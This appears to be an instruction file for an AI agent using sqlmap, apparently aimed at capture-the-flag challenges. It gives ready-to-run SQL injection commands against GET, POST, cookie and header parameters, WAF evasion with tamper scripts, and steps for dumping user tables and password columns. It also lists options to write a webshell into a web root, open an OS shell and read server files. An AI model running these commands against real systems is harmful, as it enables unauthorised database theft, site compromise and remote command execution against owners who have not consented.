sqlmap-advanced

Complete reference for advanced sqlmap usage

Timeout control (mandatory)

sqlmap may run for a very long time.Must be wrapped with timeout：

timeout 480 sqlmap [参数] --batch 2>&1 | tee /tmp/sqlmap_output.log
# 超时后立即查看已有结果
tail -80 /tmp/sqlmap_output.log

In-depth reference

• tamper script quick reference → references/tamper-reference.md
• Advanced usage detailed commands (OS Shell/file read-write/second-order injection/performance tuning) → references/advanced-usage.md

---

Phase 1: Basic detection

GET parameter injection

timeout 480 sqlmap -u 'http://target/page.php?id=1' \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log

POST parameter injection

timeout 480 sqlmap -u 'http://target/login.php' \
    --data 'username=admin&password=test&submit=Login' \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log

Key：--data includes all form fields (especially the submit button), PHP commonly uses isset($_POST['submit']) for validation.

Cookie injection

timeout 480 sqlmap -u 'http://target/page.php' \
    --cookie 'user_id=1; session=abc123' \
    --level 3 \
    --batch --random-agent \
    2>&1 | tee /tmp/sqlmap_output.log

HTTP Header injection

timeout 480 sqlmap -u 'http://target/page.php' \
    --headers 'X-Forwarded-For: 127.0.0.1*' \
    --level 5 \
    --batch --random-agent \
    2>&1 | tee /tmp/sqlmap_output.log

Asterisk * marks the injection point location.

From a Burp request file

timeout 480 sqlmap -r /tmp/request.txt \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log

---

Phase 2: Precise --technique control

Letter	Technique	Applicable scenario
B	Boolean-based blind	Boolean differences exist (page content changes)
E	Error-based	Error output is returned
U	UNION query	Data output is returned
S	Stacked queries	Semicolons supported (MySQL, MSSQL, PostgreSQL)
T	Time-based blind	No differences at all (last resort)
Q	Inline queries	Subquery injection

# 只用 UNION + Error（最快）
sqlmap -u 'URL' --technique EU --batch

# 跳过耗时的时间盲注
sqlmap -u 'URL' --technique BEUS --batch

Recommendation: first use --technique EU for quick detection, if it fails add B, and only try T。

---

Phase 3: Data extraction

# 1. 列出所有数据库
sqlmap -u 'URL' --dbs --batch

# 2. 列出指定库的表
sqlmap -u 'URL' -D target_db --tables --batch

# 3. 列出指定表的列
sqlmap -u 'URL' -D target_db -T users --columns --batch

# 4. 提取数据
sqlmap -u 'URL' -D target_db -T users --dump --batch

# 5. 只取特定列
sqlmap -u 'URL' -D target_db -T users -C username,password --dump --batch

# 6. 限制行数（大表时）
sqlmap -u 'URL' -D target_db -T users --dump --start 1 --stop 10 --batch

# 7. 搜索关键表/列
sqlmap -u 'URL' --search -T flag --batch
sqlmap -u 'URL' --search -C password --batch

---

Practical quick reference

Scenario	Key command parameters
Quick detection	--technique EU --level 1 --risk 1
Deep detection	--level 5 --risk 3
POST form	--data 'param1=val1&param2=val2'
Cookie injection	--cookie 'x=1' --level 3
WAF environment	--tamper=space2comment,between --random-agent
Read flag file	--file-read=/flag.txt
Write webshell	--file-write=shell.php --file-dest=/var/www/html/
Get system shell	--os-shell
Second-order injection	--second-url URL
Search flag	--search -T flag or --search -C flag

Notes

• --batch automatically selects the default answer (must add, agent cannot interact)
• --risk 3 may execute UPDATE/DELETE, use with caution in risky environments
• timeout 480 runs for at most 8 minutes, on timeout check existing results
• sqlmap caches results, to rerun the same target use --flush-session to clear the cache
• If sqlmap cannot detect the injection but manual confirmation shows it exists → use --prefix and --suffix to manually specify the closure